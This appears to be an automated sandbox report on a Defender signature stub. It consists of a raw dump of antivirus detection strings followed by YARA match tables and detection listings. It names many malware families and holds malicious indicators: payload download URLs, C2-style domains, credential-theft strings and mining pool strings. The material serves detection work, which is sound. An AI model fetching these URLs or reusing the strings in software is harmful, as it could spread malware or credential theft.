re_narrow_argv_configure_wide_argvmsvcrt._configure_wide_argv_control87msvcrt._control87_controlfpmsvcrt._controlfp_controlfp_smsvcrt._controlfp_s_crt_atexitmsvcrt.atexit_endthreadmsvcrt._en
dthread_endthreadexmsvcrt._endthreadex_errnomsvcrt._errno_exitmsvcrt._exit_fpieee_fltmsvcrt._fpieee_flt_fpresetmsvcrt._fpreset_get_doserrnomsvcrt._get_doserrno_get_errnomsvcrt._get_errno_ge
t_initial_narrow_environmentmsvcrt._get_initial_narrow_environment_get_initial_wide_environmentmsvcrt._get_initial_wide_environment_initialize_narrow_environmentmsvcrt._initialize_narrow_enviro
nment_initialize_wide_environmentmsvcrt._initialize_wide_environment_inittermmsvcrt._initterm_initterm_emsvcrt._initterm_e_invalid_parameter_noinfomsvcrt._invalid_parameter_noinfo_invoke_wats
onmsvcrt._invoke_watson_resetstkoflwmsvcrt._resetstkoflw_set_app_typemsvcrt.__set_app_type_set_controlfpmsvcrt._set_controlfp_set_doserrnomsvcrt._set_doserrno_set_errnomsvcrt._set_errno_s
et_error_modemsvcrt._set_error_mode_statusfpmsvcrt._statusfp_strerrormsvcrt._strerror_strerror_smsvcrt._strerror_s_wassertmsvcrt._wassert_wcserrormsvcrt._wcserror_wcserror_smsvcrt._wcserror
_s_wperrormsvcrt._wperror_wsystemmsvcrt._wsystemabortmsvcrt.abortexitmsvcrt.exitperrormsvcrt.perrorraisemsvcrt.raisesignalmsvcrt.signalstrerrormsvcrt.strerrorstrerror_smsvcrt.strerror_ssystemms
vcrt.systemRSDSv api-ms-win-crt-runtime-l1-1-0.pdb FileDescriptionWindows api-ms-win-crt-runtime-l1-1-0 Library FileVersion10.0.10126.0 (GitEnlistment(amopslocal).210831-1009)\\ 
InternalNameapi-ms-win-crt-runtime-l1-1-0  Microsoft Corporation. All rights reserved.d OriginalFilenameapi-ms-win-crt-runtime-l1-1-0j% I2ID; :su7F <VL 4 <f}ak 4#B{# O%5'V W@G<E q'pBbd AF=7** = 
F0. )K':_ =!uM'* _)+-; {&PFlD> =l~$/ FZdm7 =oR>9 9LEj+ OgCO| <ER%\t =6(}\t u|Vuu c@Sa- E\"3y@ %!(s{m ]^NK] ,<i:= :^r$\t 4>f,h-{ ?k&pj ?p6U,< g3?wF USvB)7 FX66p9 2lY8M  _)U4` chaz(( 
!#OFN:cscript.exe cscript.pdb 2Console Based Script Host ScriptEngine ScriptEnginea{ !#HSTR:bot_exploit_general Trying to exploit IP: %s %s %s: Exploiting IP: %s %s %s: Failed to exploit IP: %s 
%s %s: Failed to exploit IP: %sa{ shell setup information: :uptime: %-.2d days %-.2d hours %-.2d minutes %-.2d seconds :uptime: %-.2d days %-.2d hours %-.2d minutes %-.2d secondsa{ 
!#HSTR:Win32/Stresid  !#TELPER:HSTR:PDP01.B!dha LoadLibrary samsrv.dll failed  DriverProc PDP.dll PDP.dlla{ !#HSTR:Backdoor:Win32/Genevieve.C!dha  ParaCmd Error Compress Data Error  
WinServer2003  CreateWork TCP.exe TCP.exea| !#ALF:Ransom:Win32/KeyPass.MAK!MTB !#ALF:Trojan:MSIL/AgentTesla.BSS!MTB !#HSTR:Trojan:Win32/Stealer.KB!MTB 
ND:\\workspace\\workspace_c\\GjOGoOIgHJEwh52iJ_20\\Release\\GjOGoOIgHJEwh52iJ_20.pdb ND:\\workspace\\workspace_c\\GjOGoOIgHJEwh52iJ_20\\Release\\GjOGoOIgHJEwh52iJ_20.pdba| 
!#ALF:Trojan:Win32/PasswordStealer.DFR!MTB !#HackTool:Win32/HaDuFe.A!dha hash.dll hash.dllAddDelGet Hash 0.99 RtlCreateUserThreadHash 0.99 Cannot get LSASS.EXE PID! a| 
!#ALF:Backdoor:Win32/Turlasvc.P srservice hkmsvc ModStart ModStop ModuleStart  ModuleStop  ModuleStopa| !#HSTR:Trojan:Win32/Startpage.CU ECHO \"Start Page\"=\"http://  ssaver.exe  
nightstar.net installing screensaver installing screensavera|(( !#BM_AT:KPortScan3 :/Icon/kps.png  ip,port,state  2scanFinished() 1on_scanFinished() ??1QHBoxLayout@@UAE@XZ ??
1QHBoxLayout@@UAE@XZa} !#ALF:HackTool:Win32/KMSActivator.PK!MTB KMS Client Emulator   KMS Server %KMS Client\\bin\\Release\\KMS Client.pdb %KMS Client\\bin\\Release\\KMS 
Client.pdba} !#ALF:Trojan:Win32/VBKrypt.AW!MTB #Adobe Photoshop CC 2017 (Macintosh) Midnight logo  Photoshop 3.0  Photoshop 3.0a} !#PUA:Block:ProxyCap !%s/api.php?
act=%s&logininfo=%s|%s Taro Labs $www.sockscap64.coma} !#HSTR:Trojan:Win32/HarwickLike!dha PID: %d $Failed to create a shell connection. connect IP Port svchost.exea} 
!#PUA:BundlerCluster:AdaEbook ttoolwindow<  a~bra~!$g~  dlctl_no_java dlctl_no_clientpull dlctl_forceoffline dlctl_forceofflinea} !#AllowList:HilanPro 
<Projects\\CreateMessage\\TestMessage\\obj\\Debug\\ivtExchange.pdb ivtExchange.exea}22 !#OFN:gmer.sys GMER Driver  gmer64.pdb gmer64.sys  KeUnstackDetachProcess  IofCallDriver  
IofCallDrivera~ !#HSTR:VirTool:Win32/VBInject_emotet.4 LBVDFD675765DFBDFB575BFDFB6576FBDFB7575a~ !#HSTR:Trojan:Win32/Seetdoty.A  Commandie timStatus txtView  
CommandietimStatustxtView webPop1 webPop2 webPop3 webPop1webPop2webPop3 adsl1 adsl2 NetPK adsl1adsl2NetPKa~ !#HSTR:TrojanDropper:Win32/Evotob_Decryption 
!#BadName.Used.In.DotNET wnet.exe wnet.exe<Module> tim.exe tim.exe<Module> wservice.exe wservice.exe<Module> usbservice.exe usbservice.exe<Module>a~ 
!#TEL:Trojan:Win32/Lokibot.CZ!MTB !#AllowList:Avanite C:\\Development\\AvaWCM *Copyright Avanite Ltd administration@avanite.com administration@avanite.coma~ 
!#HSTR:Backdoor:Win32/Genevieve.B!dha  ShellCode.dll -send online information with new encrypt key:   WinServer2003a~ !#HSTR:PUA:Win32/FusionCore.A3 [Rename] %ls=%ls %s%S.dll 
PotPlayer unknowndll.pdba~ !#HSTR:Worm:Win32/Puce.gen!A \\Kazza \t\\Morpheus \t\\Grokster  \\Bearshare \t\\Gnucleus \\Edonkey2000\\Incoming \\Edonkey2000\\Incominga 
!#TELPER:HackTool:Win32/Logchil.C!dha '\\SuperLight2.0\\release\\MfcDllServer.pdb $\\SuperLight\\release\\MfcDllServer.pdb $\\SuperLight\\release\\MfcDllServer.pdba 
!#PUA:BundlerCluster:Bassmod bassmod_free bassmod_init bassmod_musicplay bassmod_musicfree bassmod_musicload bassmod_musicloada (.whenu.com/products_ #WhenU SaveNow 
advertising software. display pop up display pop upa !#HSTR:TrojanDropper:Win32/Delf.BM  preved.bat /Portions Copyright (c) 1999,2003 Avenger by NhT /Portions Copyright (c) 1999,2003 Avenger 
by NhTa !#Lowfi:PUA:BundlerCluster:GetNow lproductversion getredirect app_manifesta !#PUA:BundlerCluster:InstallCore2 +/tasks=\"comma separated list of task names\" /password=password 
/type=type name /type=type namea !#TEL:Win32/Backdoor:PreciousLies.A!dha *Network Setup Service gracious_truth.jpg  eibmur.dll  eibmur.dlla !#ALF:Program:Win32/DLAssist.R :DUMo - Drivers 
Update Monitor KC Softwaresa !#HSTR:VirTool:Win32/Obfuscator.E  hel32hkern hllochualAhVirt hrotehualPhVirt hueryhualQhVirt hdPtrhdReahIsBa hdPtrhdReahIsBaa 
!#ALF:HSTR:TrojanDownloader:Win32/Rofin.A!bit http://download.cpudln.com HideSys.sys  HideSys64.sys TenSafe.exe TenSafe.exea !#HSTR:Torrent:Win32/BitLord BitLord bitlord.com 
torrent_paused BitLordCrashReporter.exe 1shutdown_bitlord() 1shutdown_bitlord()a !#HSTR:VirTool:Win32/VBInject.gen!AN.2 SetThreadContexta !#ALF:Trojan:Win32/CobaltStrikeMem.M!ibt 
hwiniThLw hnethwiniThLw User-Agent: Mozilla/5.0 ( !#ALF:Trojan:Win32/VBKrypt.AS!eml ,foredateterrestris.exe tssafeedit.dat aaa_TouchMeNot_.txta !#HSTR:PWS:Win32/OnLineGames.AA &
{9184057B-D51B-4C2A-B779-EB4F548E9FDA} %s\\%s\\ShellExecuteHooks &mac=%s /mb.asp /mb.aspa !#TEL:Trojan:Win32/Trochil.D!dha appeur.gnway.cc dns.websecexp.com 
Outlook2002_POP3  IeChecker.exe  IeChecker.exea !#HSTR:Win32/Small.gen!E Windows\\CurrentVersion\\Run netsh firewall If Exist  UrlDownload UrlDownloada !#HSTR:VBInject_trampoline 
&H59595958 &H5059a !#HSTR:Backdoor:Win32/ShinoBot.A Shinobot get_Computer get_Application get_User \tget_Forms !#AllowList:MSCorp.A !#HSTR:Win32/Conhook.dr 
!#TEL:TrojanDropper:Win32/Plugx!dha Nvcpl  %s\\Rundll32.exe \"%s\", DisPlay 84 Plcy.dat ms_win32_eventa !#BM_AT:AnyDesk AnyDesk.pdb .philandro Software GmbH  
e9cae05e6fab113c28b4dc65c6d03226  e9cae05e6fab113c28b4dc65c6d03226a !#HSTR:Trojan:Win32/C2Lop.gen!E3 $Microsoft Visual C++ Runtime Library e:\\caoe.PDB  e:\\caoe.PDBa 
!#HSTR:VirTool:Win32/ROPINJECTOR.B!MTB !Disassembly after ROP compilation ,Searching for gadget endings in code segment ,Searching for gadget endings in code segmenta PC Defender  
NoEntireNetwork prockill64.exea x64.zip x32.zip ,admin= ,guid= \\Bypass \\guid.log ct.zip ct.exe ct.exea !#TEL:Trojan:Win32/RykShell D$$[[aYZQ !#HSTR:VirTool:MSIL/NetInjectAProject.A IsSandboxie 
IsNormanSandbox IsSunbeltSandbox IsAnubisSandbox IsCWSandbox IsCWSandboxa !#TEL::MacOS/MetasploitReverseShell.D !#ALF:HackTool:Win32/Patcher.P!MTB  GPM-XM-754678 
CONGRATULATION File Succesfully patched CRACK y95ab@hotmail.com y95ab@hotmail.coma !#HSTR:RookIE  RookIE/1.0 :*:Enabled:fg_ol_silent  AVUdpPacket@@ \tadns_lib_ admshare.dat 
\tpstat.dat secustat.dat secustat.data !#SLF:Trojan:MSIL/Rolaz.B LMicrosoft.Windows.Sense.AttackScenario Troj.exea !#BM_AT:Winexe \\\\.\\pipe\\ahexec \twinexesvc  \\\\.\\pipe\\ntvr  Argument 
domain error (DOMAIN) Incorrect runas credentials Incorrect runas credentialsa !#ALF:Trojan:Win32/Injector.MFP!MTB !#HSTR:Tencent_UsbEjectHelper \\USB_EJECT_45EF662D-FDD7-41F7-B850-
534C270CE41Aa !#TELPER:Trojan:Win32/PlaLsalog!dha 6PasswordChangeNotify called: username[%s] password[%s] PasswordFilter:Operation True PasswordFilter:Operation Truea 
!#AllowList:AerialTool !Microsoft.UltraCam.AtTool.Managed \"UltraMap Aerial Triangulation Tool .NETFramework,Version=v4.5 .NETFramework,Version=v4.5a !#HSTR:Trojan:Win32/Matcash.gen.1 
5Local Settings\\Temporary Internet Files\\bestwiner.stt SystemBiosDatea !#SLF:Trojan:Win64/Dogyb.D!dha Set table data ok. It works, Success! Open process falied bitmap is set null bitmap is set 
nulla !#TEL:Trojan:Win32/Noosuss.A!dha [-]L0ad dr1ver [-]ren4me succ3ssfully!! [-]over writed [-]Read Shell CfgInfo failed [-]Read Shell CfgInfo faileda !#ALF:PWS:MSIL/ClipSteal.S!MTB 
getMSN75Passwords  set_CreateNoWindow set_CreateNoWindowa !#ALF:HSTR:DotNET.Packer.S001 CheckRemoteDebugger BitTreeDecoder  BitDecoder  LzmaDecoder  LenDecoder  
LenDecodera !#HSTR:Trojan:MSIL/AgentTesla.P25!MTB X_X_X_X_A_A_A_A_S_S_S_S CreateInstancea !#HSTR:Virus:Win32/Detnat.F !#ALF:Trojan:Win32/VBKrypt.AY!MTB *;CREATOR: gd-jpeg 
v1.0 (using IJG JPEG v80 ,&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ,&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyza !#TEL:Adware:Win32/HPDefender.GA!MSR 
Dnew_Clicker\\SIV\\original\\daemon\\NewClieckerDll\\Release\\SIVUpdate.pdb DwOTsglEzneUiPF DwOTsglEzneUiPFa !#Backdoor:Win32/DBD_A lulzsecpwnsj00 (failed to execute shell (net helpmsg 
%s) 'connect (tcp): dbd [-options] host port 'connect (tcp): dbd [-options] host porta !PUA:Win32/Softcnapp wuming/png/monids.png dwonload.wencyy.top 
8D:\\XiaZaiQi\\ProjectCopy\\Mixed\\pdbmap\\WanNeng\\Install.pdb 8D:\\XiaZaiQi\\ProjectCopy\\Mixed\\pdbmap\\WanNeng\\Install.pdba !#PUA:BundlerCluster:FusionInstall idr_mainframe(  reelibrary 
adprovider=publicitetf adprovider=treasure adprovider=treasurea !#ALF:MSIL:Win32/Mailer d:\\\\dcap.jpg SmtpServer %{PRTSC} cvbcvbcvbcvbcvba d%evirDlacisyhP\\.\\\\  q&d%=diu&? 
&s%=ltt&d%=diu&etadpu=epyTputes tsoh\\cte\\srevird sys.s%\\s%a !#LowFi:HSTR:VirTool:Win32/VBInject.gen!BP Creating second thread... The time is %s toascii(%#04x) = %c toascii(0x7 
!#HSTR:VirTool:MSIL/Obfuscator.DeepSea.A SThis assembly has been obfuscated with an evaluation version of DeepSea Obfuscator. SThis assembly has been obfuscated with an evaluation version 
of DeepSea Obfuscator.a !#Trojan:Win32/BlofeldCat.G!Lowfi ZGlobal\\{B54E3268-DE1E-4c1e-A667-2596751403AD}a !#AllowList:SimCorp \"SimCorp.XMGRs.Testing.ApiTests.pdb 
SimCorp.XMGRs.Testing.ApiTests \"SimCorp.XMGRs.Testing.ApiTests.dll \"SimCorp.XMGRs.Testing.ApiTests.dlla !#HSTR:TrojanClicker:Win32/Agent.K ))\t!#HSTR:TrojanClicker:Win32/Agent.K   
penis pussy teens Lesbian Lesbiana !#HSTR:IntentToEnumAdapters PacketGetAdapterNames pcap_findalldevs GetPerAdapterInfo GetInterfaceInfo GetInterfaceInfoa 
!#TEL:Backdoor:Win32/Motalium.A!dha $%s?filename=%s&computer=%s&osinfo=%s 2__START_RUNCBTHOOK_MARK__a !#HSTR:bot_threads -%s %s thread stopped. (%d thread(s) stopped.) %s 
No %s thread found. %s Thread List: %s End of list. %s End of list.a !#HSTR:Program:Win32/WorldAntiSpy.1 worldantispy.com/enter/%u /VERYSILENT /SUPPRESSMSGBOXES worldantispy.com 
/setup.exe worldantispy.com/setup.exea !#Adware:Win32/180SolutionsSearchAssistant *\\180Solutions\\n-CASE\\ \\180SA  /did= \tmodBundle \tmodBundlea !#Lowfi:PUA:BundlerCluster:SoftPulse 
(install notconfirmed .inet_e_download_failurea !#ALF:Trojan:Win32/Taidoor.PA!MTB A@SvcHostDLL: ServiceMain &SvcHostDLL: RegisterServiceCtrlHandler SvcHostDLL: ServiceMain SvcHostDLL: 
ServiceMaina !#HSTR:Trojan:Win32/Gordon.B!dha  enumcapdev telhelp C:\\windows\\system32\\test.log WinVnc IESOCKET_ACTION_CONNECT failed IESOCKET_ACTION_CONNECT faileda 
!#ALF:Trojan:Win32/PTASpy.A \\PTASpy\\PTASpy.csv CryptBinaryToStringWa !#Adware:Win32/CloverPlus %WINDOWS\\CloverPlus.cot minisearch.co.kr .php?client=%CLIENTID clover_love 
%%WINDOWS\\dhid.dh %%WINDOWS\\dhid.dha !#TEL:TrojanSpy:Win32/BBSwift.gen  liboradb.dll  Module32Next WriteProcessMemorya !#HSTR:Backdoor:Win32/Delf.DU MyDoom PRIVMSG 
Infectat fucka !#Adware:Win32/ArcadeWebd aj/deactivate.php ArcadeWeb Uninstaller PlaySushi uninstaller arcadeweb32.dll PlaySushi32.DLL PlaySushi32.DLLa 0Microsoft Office Erro ao abrir o 
arquivo,ou o 0Microsoft OfficeErro ao abrir o arquivo,ou o 1Microsoft Office Falha ao abrir o arquivo ou o 1Microsoft OfficeFalha ao abrir o arquivo ou oa !#HSTR:MSIL/DeflateExec.J!ibt (# ($ p(% s& 
po' t\t (( o) o* &* zCom.resources zCom.resourcesa !#TEL:Trojan:Win32/Fareit.RM!MTB PrwgK5X54YSOQ7mUdkYsrb6gN8rXOUSGJ7BKbc191a !#HSTR:Torrent:Win32/LimePro Software\\LimePro 
ares.net/sales/check.php TBitTorrentTransferCreator Make LimePro my default Make LimePro my defaulta !#ALF:PWS:Win32/Engazal.A the lazagne project emf_core.exe emf_run.bat stealer plugin 
report [ars plugin]: getted hwid: [ars plugin]: getted hwid:a !#ALFPER:Trojan:Win32/Dryvan.M!dha win7load  Server.dll ServiceMaina !#SLF:Win32/Manzan!config PayloadUUID Jitter \tKillDate  
SessionId  UserAgent ProxyPassword CallbackHosts CallbackHostsa !#Trojan:Win32/PowerShell.SC!MTB 6 3\\$0S ]3\\$0S D$( % !#TEL:Trojan:Win32/FusionBlaze.C!dha J[injectPE] svcName=%s 
modulePath=%s| pid=%d tid=%d hModule=0x%p entry=0x%p %s:%d:%s:%d:%d %s:%d:%s:%d:%da !#ALFPER:HSTR:LinkuryInstaller.01 md.xml 0.exe\" -f noah.dat -l -a  \\wininit.inia 
!#HSTR:Virus:Win32/Detnat.E \t\t\t!#HSTR:Virus:Win32/Detnat.E Agent%ld  %s%s%d.exe netrun  netdat.tmp delphi %s.exe SVCH0ST C:\\Recycled\\ C:\\Recycled\\a !#HSTR:Torrent:Win32/BitTorrent 
BitTorren btweb.exe router.bittorrent.com  torrent_added torrent_pauseda !#BM_WSCRIPT_EXE p#WScript Error - Windows Script Host!Input Error - Windoa !#HSTR:VirTool:Win32/CeeInject.S2 
!#ALF:Trojan:Win32/Dermer.A!dha .log.support-news.online 0supports.jumpingcrab.coma !#TEL::MacOS/MetasploitReverseShell.C (j?XH 0meh`v 4amg  unamjm )tnc% ostnnh-Y aostA 
!#HSTR:HackTool:Mikatz_VI SystemFunction005 SystemFunction025 SamEnumerateDomainsInSamServer  CryptGetHashParam CryptGetHashParama 
>WorkProjects\\NetNucleosProjects\\WhereSphere_Rebranding\\gabpath GPFF3Component GPFF3Com.dlla !#HSTR:Exploit:Win32/DouglasTran!dha ![INFO] add user to group fail: %x 
GuiWAng!@#9bd* [ERR]  get import address fail admin$a !#HSTR:Torrent:Win32/Tixati  tixati.pdb (Tixati Software Inc. xfer_seedingminutesstop trackersettings_add trackersettings_adda !#Allo 
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GuiWAng!@#9bd* [ERR]  get import address fail admin$a !#HSTR:Torrent:Win32/Tixati  tixati.pdb (Tixati Software Inc. xfer_seedingminutesstop trackersettings_add trackersettings_adda !#Allo 
*srvCheckresponded.tmpx !#ALF:Trojan:Win32/Turla.SP!dha Projects\\rundll\\x \\Release\\rundll.pdb tasklistw.exe.mui tasklistw.exe Microsoftr Windowsr Operating Systemx 
!#ALF:Trojan:Win32/Roobing.J!dha 147!@#Asad \\MozillaFirefox\\SystemExtensionsDev\\* \\MozillaFirefox\\Cache\\* task notopen \\generator\\Proj1 \\generator\\Proj1x !#HSTR:Gootripor.A0 
pocdpocpdoxxlkala 66697265666F782E657865 6368726F6D652E657865 696578706C6F72652E657865 !#ALF:Trojan:Win32/BlackHole.YP!MTB http://ip.aq138.com/setip.asp 
C:\\WINDOWS\\SYSTEM32\\inetput.exe HTTP://www.EEEEEEE.EEE C:\\$$a29639$$.batx !#TEL:PhanEvade.ShInj.1 !#ALF:TrojanDownloader:Win32/Numbidea.A!dha HideUpdatePz HideSysUpfile 
HideSysCmd http://%s/index.htm?id=%4d&content=%s http://%s/index.htm?content=%s&id=%d Software\\Microsoft\\Internet Explorer\\Recovery Software\\Microsoft\\Internet Explorer\\Recoveryx 
!#Adware:Win32/Kremiumad /c/version.php /c/s.php?p= /c/t.php?old_ad_ids= /_adm/ctrl/info.php /_adm/ctrl/sq.php?m=b&pid= /c/xword /c/xurl /control/deny_target_list 
!#ALF:Trojan:Win32/Ursnif.RJO!MTB f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wtombenv.c D:\\Project\\C++\\communicator\\Release\\communicator.pdb GetFileType GetCPInfox 
!#TEL:Trojan:MSIL/Spotealer.KA!MTB config.vdf  steal ssfn* Windows Domain Password Credential Windows Domain Certificate Credential Windows Web Password Credential Windows Web 
Password Credentialx !#ALF:Trojan:MSIL/AgentTesla.CDD!MTB \t\t\t!#ALF:Trojan:MSIL/AgentTesla.CDD!MTB $a1fd0ff7-636c-4e69-bddb-545db9e4245e !#ALF:Trojan:MSIL/FormBook.AQG!MTB 
\t\t\t!#ALF:Trojan:MSIL/FormBook.AQG!MTB Newtonsoft.Json.dll add_AssemblyResolvex !#HSTR:Trojan:MSIL/AgentTesla.PA5!MTB \t\t\t!#HSTR:Trojan:MSIL/AgentTesla.PA5!MTB HarryPotter 
HarryPotter.Resources.resources HarryPotter.Resources.resourcesx !#HSTR:Adload_Rofin.A1 download.cpudln.com/ 11/ad209 CmdLine  -uid: CmdLine -uid: /fproc UrlNav /fprocUrlNav 
\\\\.\\SSDTProcess \\\\.\\SSDTProcessHideSys.sys FixTool \\\\.\\FixTool Restore.sys FixTool\\\\.\\FixToolRestore.sys first.exe first.exex !#TEL:Trojan:Win32/AgentTesla.RR!MTB .resources 
!#TEL:Trojan:MSIL/AgentTesla.OXZ!MTB   Delay Delayx !#HSTR:Trojan:Win32/Alureon.gen!N.modules tdlproc.log tdlmain.dll tdll.dll tdllog.dll tdsserrors.log tdssservers.dat tdsslog.dll tdssmain.dll 
tdssl.dll tdssserv.sys tdssserv.sysx !#HSTR:Program:Win32/LookThisUp LookThisUp Installer -sky signature -eku 1.3.6.1.5.5.7.3.1 -h 1 -cy authority -a sha1 -m 132x 
!#ALF:HackTool:Win32/BlackboneStrings.A!dha blackbone::NtLdr:: blackbone::Native:: blackbone::Graph:: blackbone::ProcessCore:: blackbone::MMap:: blackbone::RemoteExec:: 
underground::KernelApi:: underground::KernelApi::x !#HSTR:BingSearchCby \\Release\\DefaultPack.pdb dSoftware\\Microsoft\\Internet Explorer\\SearchScopesx 
!#HSTR:MSIL/AgentTesla.RR030821_011!MTB Shbhqyuamxzdlbswroomxcz.l.resources Shbhqyuamxzdlbswroomxcz.m.resources Shbhqyuamxzdlbswroomxcz.Properties.Resources.resources 
Shbhqyuamxzdlbswroomxcz.Ordiyfstfgkqkv.dll Shbhqyuamxzdlbswroomxcz.Ordiyfstfgkqkv.dllx !#ALFPER:HSTR:NirsoftHacktool.A1 \\mailpv.pdb Mail PassView \\PasswordFox.pdb 
timePasswordChanged, timesUsed FROM moz_logins \"Account\",\"Login Name\",\"Password\",\"Web Site\" $NIRSOFT_IEPV_KEY$ \\NirSoft\\iepv \\NirSoft\\iepvx 
!#ALF:Trojan:Win32/Zumanek.G!MTB User-Agent: ArmadilloDRM/1.0 \\.\\mailslot\\server\\ C:\\TRANSFER.TXT SMBiosData  #SELECT * FROM Win32_OperatingSystem 
!#HSTR:Trojan:MSIL/AgentTesla.VI94!MTB DownloadData https://cdn.discordapp.com/attachments/877973640937897984/878021367742734376/wdqdwq.dll 
Whttps://cdn.discordapp.com/attachments/877973640937897984/878021367742734376/wdqdwq.dllx !#TEL:Trojan:Win32/TrickBotCrypt.MT!MTB   \t!#TEL:Trojan:Win32/TrickBotCrypt.MT!MTB 
DllUnRegisterServer UrlIsNoHistoryA ILCombine ILCombinex !#ALF:Backdoor:Win32/Frocat.A!MTB    (*API).Shred (*API).Gomap (*API).Speedtest (*API).Screen (*API).Reconnect 
(*API).NewHostname (*API).RunCmd (*API).SendFile (*API).RecvFile (*API).GetHardware (*API).GetHardwarex !#ALF:Trojan:MSIL/Spynoon.MFP!MTB $ee14449f-4198-4d2d-83b1-c6e8df42e3f0 
%$ee14449f-4198-4d2d-83b1-c6e8df42e3f0 Downloading Opening... System.Net get_Currentx !#HSTR:Trojan:MSIL/AgentTesla.VI35!MTB B Hunterx !#HSTR:Trojan:MSIL/AgentTesla.OXAY!MTB z 
ZAZAZAZAZZA GetMethodx !#ALFPER:HackTool:MSIL/Gdlogger.A!dha op_In quality gdrivemo nitor.exeH LegalCop yrightCopyrig   2020* !#HSTR:TrojanDownloader:Win32/Banload.gen!B.download 
.com.br/ /adspostback_server.aspx?userid=%s&source=%s /ws/reportws.asmx?wsdl /api_ajax.ashx?clientid=%sx !#ALFPER:Trojan:Win32/Heriplor.A!dha !#HSTR:Program:Win32/AdGazelle 
AdGazelle End User License Agreement (EULA) bshow_partner_offershow_partner2_offershow_offerx !#ALF:TrojanDownloader:Win32/Notorgatro.B nrrv<))qqq(uluctpoei Grsgjo|g i&Eihejs 
STJBiqhjigbRi@ojcG Qohbiqu STJKIH(BJJ Xfak`x|/Nhja{j/B|h N}~zfy`/a /zb/xfa<=/y cfk`. Icn|g_czhfa!jwj Icn|g_czhfa!jwjx !#AllowList:SSHCERT C:\\WINDOWS\\SYSTEM32\\powrprof.dll 
https://cvsweb.openbsd.org/cgi-bin/cvsweb/src/usr.bin/ssh/PROTOCOL.certkeys?rev=HEAD /usr/local/go/src/runtime/runtime-gdb.py sandcastle232.ash9.facebook.com 
sandcastle232.ash9.facebook.comx !#AllowList:19a4 alert tls $EXTERNAL_NET any"
}

Source Rule Description Author Strings

00000023.00000003.18341814408.0000015B1C
2D4000.00000004.00000001.sdmp

CoinMiner_Strings Detects mining 
pool protocol string 
in Executable

Florian Roth 0x2dd0c:$s1: stratum+tcp://

00000023.00000003.18341814408.0000015B1C
2D4000.00000004.00000001.sdmp

JoeSecurity_Xmrig Yara detected 
Xmrig 
cryptocurrency 
miner

Joe Security

00000023.00000003.18341814408.0000015B1C
2D4000.00000004.00000001.sdmp

JoeSecurity_Coinhive Yara detected 
Coinhive miner

Joe Security

00000023.00000003.18340752801.0000015B1B
72C000.00000004.00000001.sdmp

CoinMiner_Strings Detects mining 
pool protocol string 
in Executable

Florian Roth 0x30c98:$s1: stratum+tcp://

00000023.00000003.18340752801.0000015B1B
72C000.00000004.00000001.sdmp

JoeSecurity_Xmrig Yara detected 
Xmrig 
cryptocurrency 
miner

Joe Security

Click to see the 574 entries

Source Rule Description Author Strings

35.3.MpSigStub.exe.15b1ad30826.62.raw.unpack clearlog Detects Fireball 
malware - file 
clearlog.dll

Florian Roth 0x210a1:$s3: hhhhh.exe
0x2108b:$s4: ttttt.exe
0x21075:$s6: cle.log.1

35.3.MpSigStub.exe.15b1b9c89b2.43.raw.unpack IMPLANT_4_v5 BlackEnergy / 
Voodoo Bear 
Implant by APT28

US CERT 0x1ef43:$GEN_HASH: 0F BE C9 C1 C0 07 33 C1

35.3.MpSigStub.exe.15b1b9c89b2.43.raw.unpack Derusbi_Kernel_Driver_WD
_UDFS

Detects Derusbi 
Kernel Driver

Florian Roth 0x1bc66:$x3: \??\pipe\usbpcex%d
0x1bcb4:$x4: \??\pipe\usbpcg%d

35.3.MpSigStub.exe.15b1b9c89b2.43.raw.unpack SUSP_XORed_Mozilla Detects suspicious 
XORed keyword - 
Mozilla/5.0

Florian Roth 0x1f5b3:$xo1: Ik~mhhe+1*4

35.3.MpSigStub.exe.15b1a7d1391.177.raw.unpack XOR_4byte_Key Detects an 
executable 
encrypted with a 4 
byte XOR (also 
used for Derusbi 
Trojan)

Florian Roth 0x38b23:$s1: 85 C9 74 0A 31 06 01 1E 83 C6 04 49 E
B F2

Click to see the 430 entries

Yara Overview

Memory Dumps

Unpacked PEs
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Sigma Overview

Networking:

Sigma detected: RegAsm connects to smtp port

Jbx Signature Overview

Click to jump to signature section

AV Detection:

Antivirus detection for URL or domain

Found malware configuration

Yara detected Predator

Yara detected RevengeRAT

Yara detected Pony

Multi AV Scanner detection for submitted file

Yara detected Njrat

Yara detected AveMaria stealer

Multi AV Scanner detection for domain / URL

Location Tracking:

Yara detected Hancitor

Exploits:

Yara detected UACMe UAC Bypass tool

Privilege Escalation:

Detected Hacktool Mimikatz

Bitcoin Miner:

Yara detected Xmrig cryptocurrency miner

Yara detected Coinhive miner

Yara detected BitCoin Miner

Found strings related to Crypto-Mining

Spreading:

Yara detected Autohotkey Downloader Generic

Networking:

Yara detected PasteDownloader

Yara detected Meterpreter
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Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

C2 URLs / IPs found in malware configuration

Found Tor onion address

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected LimeRAT

Yara detected LaZagne password dumper

Yara detected Linux EvilGnome RC5 key

Yara detected VBKeyloggerGeneric

E-Banking Fraud:

Yara detected Predator

Yara detected RevengeRAT

Yara detected Pony

Yara detected Njrat

Yara detected AveMaria stealer

Spam, unwanted Advertisements and Ransom Demands:

Yara detected BlackMoon Ransomware

Yara detected Ragnarok ransomware

Yara detected Globeimposter Ransomware

Yara detected Avaddon Ransomware

Yara detected BLACKMatter Ransomware

Yara detected Jigsaw

Yara detected AESCRYPT Ransomware

Yara detected Rapid ransomware

Yara detected RansomwareGeneric

Yara detected Ouroboros ransomware

Yara detected Fiesta Ransomware

Yara detected Lolkek Ransomware

Yara detected Chaos Ransomware

Yara detected TeslaCrypt Ransomware

Yara detected Mock Ransomware

Yara detected Conti ransomware

Yara detected NoCry Ransomware

Yara detected ByteLocker Ransomware

Yara detected RegretLocker Ransomware

Yara detected Crypt ransomware

Yara detected Clop Ransomware

Yara detected LockBit ransomware

Yara detected LOCKFILE ransomware

Yara detected Cerber ransomware

Yara detected Rhino ransomware

Yara detected Niros Ransomware

Yara detected Buran Ransomware

Yara detected VHD ransomware

Yara detected Netwalker ransomware

Yara detected Jcrypt Ransomware

Yara detected Delta Ransomware

Yara detected LazParking Ransomware

Yara detected GlobeLocker Ransomware
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Yara detected Zeppelin Ransomware

Yara detected Apis Ransomware

Yara detected Wannacry ransomware

Yara detected MegaCortex Ransomware

Yara detected Cobra Locker ransomware

Yara detected RekenSom ransomware

Yara detected Babuk Ransomware

